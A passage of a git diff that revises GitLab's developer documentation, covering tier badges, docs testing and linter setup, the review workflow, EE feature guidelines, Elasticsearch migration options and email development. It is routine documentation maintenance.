tier it -belongs to, says the GitLab version that it became available in, and links to -the pricing page in case the user wants to upgrade to a paid tier to use that -feature. +To view historical information about a feature, review GitLab +[release posts](https://about.gitlab.com/releases/), or search for the issue or +merge request where the work was done. -For example, if you're a regular user and you're looking at the documentation -for a feature you haven't used before, you can immediately see if that feature -is available to you or not. Alternatively, if you've been using a certain -feature for a long time and it changed in some way, it's important to be able to -determine when it changed and what's new in that feature. +## Products and features -This is even more important as we don't have a perfect process for shipping -documentation. Unfortunately, we still see features without documentation, and -documentation without features. So, for now, we cannot rely 100% on the -documentation site versions. +Refer to the information in this section when describing products and features +in the GitLab product documentation. -Over time, version text will reference a progressively older version of GitLab. -In cases where version text refers to versions of GitLab four or more major -versions back, you can consider removing the text if it's irrelevant or confusing. +### Avoid line breaks in names -For example, if the current major version is 12.x, version text referencing -versions of GitLab 8.x and older are candidates for removal if necessary for -clearer or cleaner documentation. +If a feature or product name contains spaces, don't split the name with a line break. +When names change, it is more complicated to search or grep text that has line breaks. -## Products and features +### Product tier badges -Refer to the information in this section when describing products and features -within the GitLab product documentation. +Tier badges are displayed as orange text next to a heading. For example: -### Avoid line breaks in names + -When entering a product or feature name that includes a space (such as -GitLab Community Edition) or even other companies' products (such as -Amazon Web Services), be sure to not split the product or feature name across -lines with an inserted line break. Splitting product or feature names across -lines makes searching for these items more difficult, and can cause problems if -names change. +You must assign a tier badge: -For example, the following Markdown content is _not_ formatted correctly: +- To [all H1 topic headings](#product-tier-badges-on-headings). +- To topic headings that don't apply to the same tier as the H1. +- To [sections of a topic](#product-tier-badges-on-other-content), + if they apply to a tier other than what applies to the H1. -```markdown -When entering a product or feature name that includes a space (such as GitLab -Community Edition), don't split the product or feature name across lines. -``` +#### Product tier badges on headings -Instead, it should appear similar to the following: +To add a tier badge to a heading, add the relevant [tier badge](#available-product-tier-badges) +after the heading text. For example: ```markdown -When entering a product or feature name that includes a space (such as -GitLab Community Edition), don't split the product or feature name across lines. +# Heading title `**(CORE)**` ``` -### Product badges +#### Product tier badges on other content -When a feature is available in paid tiers, add the corresponding tier to the -header or other page element according to the feature's availability: +In paragraphs, list names, and table cells, an information icon displays when you +add a tier badge. More verbose information displays when a user points to the icon: + +- `**(STARTER)**` displays as **(STARTER)** +- `**(STARTER ONLY)**` displays as **(STARTER ONLY)** +- `**(SILVER ONLY)**` displays as **(SILVER ONLY)** + +The `**(STARTER)**` generates a `span` element to trigger the +badges and tooltips (`<span class="badge-trigger starter">`). When the keyword +_only_ is added, the corresponding GitLab.com badge isn't displayed. -| Tier in which feature is available | Tier markup | +#### Available product tier badges + +| Tier in which feature is available | Tier badge | |:-----------------------------------------------------------------------|:----------------------| | GitLab Core and GitLab.com Free, and their higher tiers | `**(CORE)**` | | GitLab Starter and GitLab.com Bronze, and their higher tiers | `**(STARTER)**` | @@ -1866,32 +1811,10 @@ header or other page element according to the feature's availability: | _Only_ GitLab.com Silver and higher tiers (no self-managed instances) | `**(SILVER ONLY)**` | | _Only_ GitLab.com Gold (no self-managed instances) | `**(GOLD ONLY)**` | -For clarity, all page title headers (H1s) must be have a tier markup for the -lowest tier that has information on the documentation page. - -If sections of a page apply to higher tier levels, they can be separately -labeled with their own tier markup. - -#### Product badge display behavior - -When using the tier markup with headers, the documentation page will display the -full tier badge with the header line. - -You can also use the tier markup with paragraphs, list items, and table cells. -For these cases, the tier mention will be represented by an orange info icon -**{information}** that will display the tiers when visitors point to the icon. -For example: - -- `**(STARTER)**` displays as **(STARTER)** -- `**(STARTER ONLY)**` displays as **(STARTER ONLY)** -- `**(SILVER ONLY)**` displays as **(SILVER ONLY)** - -#### How it works - -Introduced by [!244](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/244), -the special markup `**(STARTER)**` will generate a `span` element to trigger the -badges and tooltips (`<span class="badge-trigger starter">`). When the keyword -_only_ is added, the corresponding GitLab.com badge will not be displayed. +Topics that mention the `gitlab.rb` file are referring to +self-managed instances of GitLab. To prevent confusion, include the relevant `TIER ONLY` +tier badge on the highest applicable heading level on +the page. ## Specific sections @@ -1900,45 +1823,42 @@ sections are outlined in this section. ### GitLab restart -There are many cases that a restart/reconfigure of GitLab is required. To avoid -duplication, link to the special document that can be found in -[`doc/administration/restart_gitlab.md`](../../../administration/restart_gitlab.md). -Usually the text will read like: +When a restart or reconfigure of GitLab is required, avoid duplication by linking +to [`doc/administration/restart_gitlab.md`](../../../administration/restart_gitlab.md) +with text like this, replacing 'reconfigure' with 'restart' as needed: ```markdown Save the file and [reconfigure GitLab](../../../administration/restart_gitlab.md) for the changes to take effect. ``` -If the document you are editing resides in a place other than the GitLab CE/EE -`doc/` directory, instead of the relative link, use the full path: -`https://docs.gitlab.com/ee/administration/restart_gitlab.html`. Replace -`reconfigure` with `restart` where appropriate. +If the document resides outside of the `doc/` directory, use the full path +instead of the relative link: +`https://docs.gitlab.com/ee/administration/restart_gitlab.html`. ### Installation guide -**Ruby:** In [step 2 of the installation guide](../../../install/installation.md#2-ruby), -we install Ruby from source. Whenever there is a new version that needs to -be updated, remember to change it throughout the codeblock and also replace -the sha256sum (it can be found in the [downloads page](https://www.ruby-lang.org/en/downloads/) -of the Ruby website). +we install Ruby from source. To update the guide for a new Ruby version: -### Configuration documentation for source and Omnibus installations +- Change the version throughout the code block. +- Replace the sha256sum. It's available on the + [downloads page](https://www.ruby-lang.org/en/downloads/) of the Ruby website. -GitLab currently officially supports two installation methods: installations -from source and Omnibus packages installations. - -Whenever there's a setting that's configurable for both installation methods, -the preference is to document it in the CE documentation to avoid duplication. +### Configuration documentation for source and Omnibus installations -Configuration settings include: +GitLab supports two installation methods: installations from source, and Omnibus +packages. Possible configuration settings include: - Settings that touch configuration files in `config/`. -- NGINX settings and settings in `lib/support/` in general. +- NGINX settings. +- Other settings in `lib/support/`. -When you document a list of steps, it may entail editing the configuration file -and reconfiguring or restarting GitLab. In that case, use these styles: +Configuration procedures can require users to edit configuration files, reconfigure +GitLab, or restart GitLab. Use these styles to document these steps, replacing +`PATH/TO` with the appropriate path: + +<!-- vale off --> ````markdown **For Omnibus installations** @@ -1949,7 +1869,7 @@ and reconfiguring or restarting GitLab. In that case, use these styles: external_url "https://gitlab.example.com" ``` -1. Save the file and [reconfigure](path/to/administration/restart_gitlab.md#omnibus-gitlab-reconfigure) +1. Save the file and [reconfigure](PATH/TO/administration/restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect. --- @@ -1963,25 +1883,25 @@ and reconfiguring or restarting GitLab. In that case, use these styles: host: "gitlab.example.com" ``` -1. Save the file and [restart](path/to/administration/restart_gitlab.md#installations-from-source) +1. Save the file and [restart](PATH/TO/administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect. ```` +<!-- vale on --> + In this case: -- Before each step list the installation method is declared in bold. -- Three dashes (`---`) are used to create a horizontal line and separate the two - methods. -- The code blocks are indented one or more spaces under the list item to render - correctly. -- Different highlighting languages are used for each config in the code block. -- The [GitLab Restart](#gitlab-restart) section is used to explain a required +- Bold the installation method's name. +- Separate the methods with three dashes (`---`) to create a horizontal line. +- Indent the code blocks to line up with the list item they belong to.. +- Use the appropriate syntax highlighting for each code block. +- Use the [GitLab Restart](#gitlab-restart) section to explain any required restart or reconfigure of GitLab. ### Troubleshooting -For troubleshooting sections, you should provide as much context as possible so -users can identify the problem they are facing and resolve it on their own. You +For troubleshooting sections, provide as much context as possible so +users can identify their problem and resolve it on their own. You can facilitate this by making sure the troubleshooting content addresses: 1. The problem the user needs to solve. @@ -1989,7 +1909,7 @@ can facilitate this by making sure the troubleshooting content addresses: 1. Steps the user can take towards resolution of the problem. If the contents of each category can be summarized in one line and a list of -steps aren't required, consider setting up a [table](#tables) with headers of +steps aren't required, consider setting up a [table](#tables). Create headers of _Problem_ \| _Cause_ \| _Solution_ (or _Workaround_ if the fix is temporary), or _Error message_ \| _Solution_. diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index 043da38d207..d2e3f473532 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -1,40 +1,46 @@ --- stage: none group: Documentation Guidelines -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: Learn how to contribute to GitLab Documentation. --- # Documentation testing -We treat documentation as code, and so use tests in our CI pipeline to maintain the -standards and quality of the docs. The current tests, which run in CI jobs when a -merge request with new or changed docs is submitted, are: - -- [`docs lint`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L41): - Runs several tests on the content of the docs themselves: - - [`lint-doc.sh` script](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/lint-doc.sh) - runs the following checks and linters: - - All cURL examples use the long flags (ex: `--header`, not `-H`). - - The `CHANGELOG.md` does not contain duplicate versions. - - No files in `doc/` are executable. - - No new `README.md` was added. - - [markdownlint](#markdownlint). - - [Vale](#vale). - - Nanoc tests: - - [`internal_links`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L58) - checks that all internal links (ex: `[link](../index.md)`) are valid. - - [`internal_anchors`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L60) - checks that all internal anchors (ex: `[link](../index.md#internal_anchor)`) - are valid. - - [`ui-docs-links lint`](https://gitlab.com/gitlab-org/gitlab/-/blob/0b562014f7b71f98540e682c8d662275f0011f2f/.gitlab/ci/docs.gitlab-ci.yml#L62) - checks that all links to docs from UI elements (`app/views` files, for example) - are linking to valid docs and anchors. +GitLab documentation is stored in projects with code and treated like code. Therefore, we use +processes similar to those used for code to maintain standards and quality of documentation. + +We have tests: + +- To lint the words and structure of the documentation. +- To check the validity of internal links within the documentation suite. +- To check the validity of links from UI elements, such as files in `app/views` files. + +For the specifics of each test run in our CI/CD pipelines, see the configuration for those tests +in the relevant projects: + +- <https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml> +- <https://gitlab.com/gitlab-org/gitlab-runner/-/blob/master/.gitlab/ci/docs.gitlab-ci.yml> +- <https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/gitlab-ci-config/gitlab-com.yml> +- <https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/.gitlab-ci.yml> ## Run tests locally -Apart from [previewing your changes locally](index.md#previewing-the-changes-live), you can also run all lint checks -and Nanoc tests locally. +Similar to [previewing your changes locally](index.md#previewing-the-changes-live), you can also +run these tests on your local computer. This has the advantage of: + +- Speeding up the feedback loop. You can know of any problems with the changes in your branch + without waiting for a CI/CD pipeline to run. +- Lowering costs. Running tests locally is cheaper than running tests on the cloud + infrastructure GitLab uses. + +To run tests locally, it's important to: + +- [Install the tools](#install-linters), and [keep them up to date](#update-linters). +- Run [linters](#lint-checks), [documentation link tests](#documentation-link-tests), and + [UI link tests](#ui-link-tests) the same way they are run in CI/CD pipelines. It's important to use + same configuration we use in CI/CD pipelines, which can be different than the default configuration + of the tool. ### Lint checks @@ -66,15 +72,15 @@ The output should be similar to: This requires you to either: -- Have the required lint tools installed on your machine. +- Have the [required lint tools installed](#local-linters) on your computer. - A working Docker installation, in which case an image with these tools pre-installed is used. -### Nanoc tests +### Documentation link tests -To execute Nanoc tests locally: +To execute documentation link tests locally: 1. Navigate to the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) directory. -1. Run: +1. Run the following commands: ```shell # Check for broken internal links @@ -85,7 +91,7 @@ To execute Nanoc tests locally: bundle exec nanoc check internal_anchors ``` -### `ui-docs-links` test +### UI link tests The `ui-docs-links lint` job uses `haml-lint` to test that all links to docs from UI elements (`app/views` files, for example) are linking to valid docs and anchors. @@ -100,9 +106,9 @@ To run the `ui-docs-links` test locally: ``` If you receive an error the first time you run this test, run `bundle install`, which -installs GitLab's dependencies, and try again. +installs the dependencies for GitLab, and try again. -If you don't want to install all of GitLab's dependencies to test the links, you can: +If you don't want to install all of the dependencies to test the links, you can: 1. Open the `gitlab` directory in a terminal window. 1. Install `haml-lint`: @@ -186,27 +192,34 @@ You can use Vale: - [In a Git hook](#configure-pre-push-hooks). Vale only reports errors in the Git hook (the same configuration as the CI/CD pipelines), and does not report suggestions or warnings. -### Install linters +#### Vale result types -At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in -build pipelines: +Vale returns three types of results: `suggestion`, `warning`, and `error`: -1. Install `markdownlint-cli`, using either: +- **Suggestion**-level results are writing tips and aren't displayed in CI + job output. Suggestions don't break CI. +- **Warning**-level results are [Style Guide](styleguide/index.md) violations, aren't displayed in CI + job output, and should contain clear explanations of how to resolve the warning. + Warnings may be technical debt, or can be future error-level test items + (after the Technical Writing team completes its cleanup). Warnings don't break CI. +- **Error**-level results are Style Guide violations, and should contain clear explanations + about how to resolve the error. Errors break CI and are displayed in CI job output. + of how to resolve the error. Errors break CI and are displayed in CI job output. - - `npm`: +### Install linters - ```shell - npm install -g markdownlint-cli - ``` +At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in +build pipelines: - - `yarn`: +1. Install `markdownlint-cli`: - ```shell - yarn global add markdownlint-cli - ``` + ```shell + yarn global add markdownlint-cli + ``` - We recommend installing the version of `markdownlint-cli` currently used in the documentation - linting [Docker image](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L420). + We recommend installing the version of `markdownlint-cli` + [used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) when building + the `image:docs-lint-markdown`. 1. Install [`vale`](https://github.com/errata-ai/vale/releases). For example, to install using `brew` for macOS, run: @@ -215,14 +228,29 @@ build pipelines: brew install vale ``` - We recommend installing the version of Vale currently used in the documentation linting - [Docker image](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L419). +These tools can be [integrated with your code editor](#configure-editors). + +### Update linters + +It's important to use linter versions that are the same or newer than those run in +CI/CD. This provides access to new features and possible bug fixes. -In addition to using markdownlint and Vale at the command line, these tools can be -[integrated with your code editor](#configure-editors). +To match the versions of `markdownlint-cli` and `vale` used in the GitLab projects, refer to the +[versions used](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/master/.gitlab-ci.yml#L447) +when building the `image:docs-lint-markdown` Docker image containing these tools for CI/CD. + +| Tool | Version | Command | Additional information | +|--------------------|----------|-------------------------------------------|------------------------| +| `markdownlint-cli` | Latest | `yarn global add markdownlint-cli` | n/a | +| `markdownlint-cli` | Specfic | `yarn global add markdownlint-cli@0.23.2` | The `@` indicates a specific version, and this example updates the tool to version `0.23.2`. | +| Vale | Latest | `brew update && brew upgrade vale` | This command is for macOS only. | +| Vale | Specific | n/a | Not possible using `brew`, but can be [directly downloaded](https://github.com/errata-ai/vale/releases). | ### Configure editors +Using linters in your editor is more convenient than having to run the commands from the +command line. + To configure markdownlint within your editor, install one of the following as appropriate: - [Sublime Text](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint) diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index 9bc80116d25..e809ca84707 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Documentation process The process for creating and maintaining GitLab product documentation allows -anyone to contribute a merge request or create an issue for GitLab's +anyone to contribute a merge request or create an issue for GitLab documentation. Documentation updates relating to new features or feature enhancements must @@ -60,9 +60,9 @@ To update GitLab documentation: - The [Structure and template](structure.md) page. - The [Style Guide](styleguide/index.md). - The [Markdown Guide](https://about.gitlab.com/handbook/markdown-guide/). -1. Follow GitLab's [Merge Request Guidelines](../contributing/merge_request_workflow.md#merge-request-guidelines). +1. Follow the [Merge Request Guidelines](../contributing/merge_request_workflow.md#merge-request-guidelines). -TIP: **Tip:** +NOTE: Work in a fork if you do not have Developer access to the GitLab project. Request help from the Technical Writing team if you: @@ -79,7 +79,7 @@ To request help: - If urgent help is required, directly assign the Technical Writer in the issue or in the merge request. - If non-urgent help is required, ping the Technical Writer in the issue or merge request. -If you are a member of GitLab's Slack workspace, you can request help in `#docs`. +If you are a member of the GitLab Slack workspace, you can request help in `#docs`. ### Reviewing and merging @@ -146,7 +146,7 @@ Remember: advance of a milestone release and for larger documentation changes. - You can request a post-merge Technical Writer review of documentation if it's important to get the code with which it ships merged as soon as possible. In this case, the author of the original MR - will address the feedback provided by the Technical Writer in a follow-up MR. + can address the feedback provided by the Technical Writer in a follow-up MR. - The Technical Writer can also help decide that documentation can be merged without Technical writer review, with the review to occur soon after merge. @@ -154,8 +154,8 @@ Remember: Ensure the following if skipping an initial Technical Writer review: -- That [product badges](styleguide/index.md#product-badges) are applied. -- That the GitLab [version](styleguide/index.md#text-for-documentation-requiring-version-text) that +- That [product badges](styleguide/index.md#product-tier-badges) are applied. +- That the GitLab [version](styleguide/index.md#gitlab-versions) that introduced the feature has been included. - That changes to headings don't affect in-app hyperlinks. - Specific [user permissions](../../user/permissions.md) are documented. diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 26a1e9ec3aa..5be601187ca 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Guidelines for implementing Enterprise Edition features @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w - **Write the code and the tests.**: As with any code, EE features should have good test coverage to prevent regressions. - **Write documentation.**: Add documentation to the `doc/` directory. Describe - the feature and include screenshots, if applicable. Indicate [what editions](documentation/styleguide/index.md#product-badges) + the feature and include screenshots, if applicable. Indicate [what editions](documentation/styleguide/index.md#product-tier-badges) the feature applies to. - **Submit a MR to the `www-gitlab-com` project.**: Add the new feature to the [EE features list](https://about.gitlab.com/features/). @@ -122,10 +122,10 @@ This is also not just applied to models. Here's a list of other examples: To test an `EE` namespaced module that extends a CE class with EE features, create the spec file as you normally would in the `ee/spec` directory, including the second `ee/` subdirectory. -For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/app/models/ee/user_spec.rb`. +For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/spec/models/ee/user_spec.rb`. In the `RSpec.describe` call, use the CE class name where the EE module would be used. -For example, in `ee/app/models/ee/user_spec.rb`, the test would start with: +For example, in `ee/spec/models/ee/user_spec.rb`, the test would start with: ```ruby RSpec.describe User do @@ -143,7 +143,7 @@ There are a few gotchas with it: - you should always [`extend ::Gitlab::Utils::Override`](utilities.md#override) and use `override` to guard the "overrider" method to ensure that if the method gets renamed in - CE, the EE override won't be silently forgotten. + CE, the EE override isn't silently forgotten. - when the "overrider" would add a line in the middle of the CE implementation, you should refactor the CE method and split it in smaller methods. Or create a "hook" method that is empty in CE, @@ -284,7 +284,7 @@ wrap it in a self-descriptive method and use that method. For example, in GitLab-FOSS, the only user created by the system is `User.ghost` but in EE there are several types of bot-users that aren't really users. It would be incorrect to override the implementation of `User#ghost?`, so instead we add -a method `#internal?` to `app/models/user.rb`. The implementation will be: +a method `#internal?` to `app/models/user.rb`. The implementation: ```ruby def internal? @@ -303,13 +303,13 @@ end ### Code in `config/routes` -When we add `draw :admin` in `config/routes.rb`, the application will try to +When we add `draw :admin` in `config/routes.rb`, the application tries to load the file located in `config/routes/admin.rb`, and also try to load the file located in `ee/config/routes/admin.rb`. In EE, it should at least load one file, at most two files. If it cannot find -any files, an error will be raised. In CE, since we don't know if there will -be an EE route, it will not raise any errors even if it cannot find anything. +any files, an error is raised. In CE, since we don't know if an +an EE route exists, it doesn't raise any errors even if it cannot find anything. This means if we want to extend a particular CE route file, just add the same file located in `ee/config/routes`. If we want to add an EE only route, we @@ -467,7 +467,7 @@ end #### Using `render_if_exists` Instead of using regular `render`, we should use `render_if_exists`, which -will not render anything if it cannot find the specific partial. We use this +doesn't render anything if it cannot find the specific partial. We use this so that we could put `render_if_exists` in CE, keeping code the same between CE and EE. @@ -482,7 +482,7 @@ The disadvantage of this: ##### Caveats The `render_if_exists` view path argument must be relative to `app/views/` and `ee/app/views`. -Resolving an EE template path that is relative to the CE view path will not work. +Resolving an EE template path that is relative to the CE view path doesn't work. ```haml - # app/views/projects/index.html.haml @@ -577,7 +577,7 @@ We can define `params` and use `use` in another `params` definition to include parameters defined in EE. However, we need to define the "interface" first in CE in order for EE to override it. We don't have to do this in other places due to `prepend_if_ee`, but Grape is complex internally and we couldn't easily -do that, so we'll follow regular object-oriented practices that we define the +do that, so we follow regular object-oriented practices that we define the interface first here. For example, suppose we have a few more optional parameters for EE. We can move the @@ -738,7 +738,7 @@ end It's very hard to extend this in an EE module, and this is simply storing some meta-data for a particular route. Given that, we could simply leave the -EE `route_setting` in CE as it won't hurt and we are just not going to use +EE `route_setting` in CE as it doesn't hurt and we don't use those meta-data in CE. We could revisit this policy when we're using `route_setting` more and whether @@ -1039,7 +1039,7 @@ export default { `import MyComponent from 'ee_else_ce/path/my_component'.vue` -- this way the correct component will be included for either the ce or ee implementation +- this way the correct component is included for either the CE or EE implementation **For EE components that need different results for the same computed values, we can pass in props to the CE wrapper as seen in the example.** @@ -1053,7 +1053,7 @@ export default { For regular JS files, the approach is similar. -1. We will keep using the [`ee_else_ce`](../development/ee_features.md#javascript-code-in-assetsjavascripts) helper, this means that EE only code should be inside the `ee/` folder. +1. We keep using the [`ee_else_ce`](../development/ee_features.md#javascript-code-in-assetsjavascripts) helper, this means that EE only code should be inside the `ee/` folder. 1. An EE file should be created with the EE only code, and it should extend the CE counterpart. 1. For code inside functions that can't be extended, the code should be moved into a new file and we should use `ee_else_ce` helper: diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index cde221aaf16..1c92601dde9 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Global Search -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Elasticsearch knowledge **(STARTER ONLY)** @@ -13,9 +13,9 @@ the [Elasticsearch integration documentation](../integration/elasticsearch.md#en ## Deep Dive -In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction. +In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on the GitLab [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction. -In August 2020, a second Deep Dive was hosted, focusing on [GitLab's specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive) are available. Everything covered in this deep dive was accurate as of GitLab 13.3. +In August 2020, a second Deep Dive was hosted, focusing on [GitLab-specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive/) are available. Everything covered in this deep dive was accurate as of GitLab 13.3. ## Supported Versions @@ -68,7 +68,7 @@ The `whitespace` tokenizer was selected in order to have more control over how t Please see the `code` filter for an explanation on how tokens are split. -NOTE: **Note:** +NOTE: Currently the [Elasticsearch code_analyzer doesn't account for all code cases](../integration/elasticsearch.md#known-issues). #### `code_search_analyzer` @@ -119,7 +119,7 @@ Patterns: - `'"((?:\\"|[^"]|\\")*)"'`: captures terms inside quotes, removing the quotes - `"'((?:\\'|[^']|\\')*)'"`: same as above, for single-quotes - `'\.([^.]+)(?=\.|\s|\Z)'`: separate terms with periods in-between -- `'([\p{L}_.-]+)'`: some common chars in file names to keep the whole filename intact (eg. `my_file-ñame.txt`) +- `'([\p{L}_.-]+)'`: some common chars in file names to keep the whole filename intact (for example `my_file-ñame.txt`) - `'([\p{L}\d_]+)'`: letters, numbers and underscores are the most common tokens in programming. Always capture them greedily regardless of context. ## Gotchas @@ -129,7 +129,7 @@ Patterns: ## Zero downtime reindexing with multiple indices -NOTE: **Note:** +NOTE: This is not applicable yet as multiple indices functionality is not fully implemented. Currently GitLab can only handle a single version of setting. Any setting/schema changes would require reindexing everything from scratch. Since reindexing can take a long time, this can cause search functionality downtime. @@ -168,12 +168,12 @@ The global configurations per version are now in the `Elastic::(Version)::Config ### Creating new version of schema -NOTE: **Note:** +NOTE: This is not applicable yet as multiple indices functionality is not fully implemented. Folders like `ee/lib/elastic/v12p1` contain snapshots of search logic from different versions. To keep a continuous Git history, the latest version lives under `ee/lib/elastic/latest`, but its classes are aliased under an actual version (e.g. `ee/lib/elastic/v12p3`). When referencing these classes, never use the `Latest` namespace directly, but use the actual version (e.g. `V12p3`). -The version name basically follows GitLab's release version. If setting is changed in 12.3, we will create a new namespace called `V12p3` (p stands for "point"). Raise an issue if there is a need to name a version differently. +The version name basically follows the GitLab release version. If setting is changed in 12.3, we will create a new namespace called `V12p3` (p stands for "point"). Raise an issue if there is a need to name a version differently. If the current version is `v12p1`, and we need to create a new version for `v12p3`, the steps are as follows: @@ -188,11 +188,11 @@ If the current version is `v12p1`, and we need to create a new version for `v12p > This functionality was introduced by [#234046](https://gitlab.com/gitlab-org/gitlab/-/issues/234046). -NOTE: **Note:** +NOTE: This only supported for indices created with GitLab 13.0 or greater. Migrations are stored in the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder with `YYYYMMDDHHMMSS_migration_name.rb` -file name format, which is similar to Rails database migrations: +filename format, which is similar to Rails database migrations: ```ruby # frozen_string_literal: true @@ -216,6 +216,29 @@ cron worker sequentially. Any update to the Elastic index mappings should be replicated in [`Elastic::Latest::Config`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/elastic/latest/config.rb). +### Migration options supported by the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) + +- `batched!` - Allow the migration to run in batches. If set, the [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) +will re-enqueue itself with a delay which is set using the `throttle_delay` option described below. The batching +must be handled within the `migrate` method, this setting controls the re-enqueuing only. + +- `throttle_delay` - Sets the wait time in between batch runs. This time should be set high enough to allow each migration batch +enough time to finish. Additionally, the time should be less than 30 minutes since that is how often the +[`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/workers/elastic/migration_worker.rb) +cron worker runs. Default value is 5 minutes. + +```ruby +# frozen_string_literal: true + +class BatchedMigrationName < Elastic::Migration + # Declares a migration should be run in batches + batched! + throttle_delay 10.minutes + + # ... +end +``` + ## Performance Monitoring ### Prometheus diff --git a/doc/development/emails.md b/doc/development/emails.md index 4b43bff0e02..0b1f3c5b74c 100644 --- a/doc/development/emails.md +++ b/doc/development/emails.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dealing with email in development @@ -83,7 +83,7 @@ See the [Rails guides](https://guides.rubyonrails.org/action_mailer_basics.html# expunge_deleted: false ``` - As mentioned, the part after `+` is ignored, and this will end up in the mailbox for `gitlab-incoming@gmail.com`. + As mentioned, the part after `+` is ignored, and this message is sent to the mailbox for `gitlab-incoming@gmail.com`. 1. Run this command in the GitLab root directory to launch `mail_room`: diff --git a/doc/development/event_tracking/backend.md b/doc/development/event_tracking/backend.md index 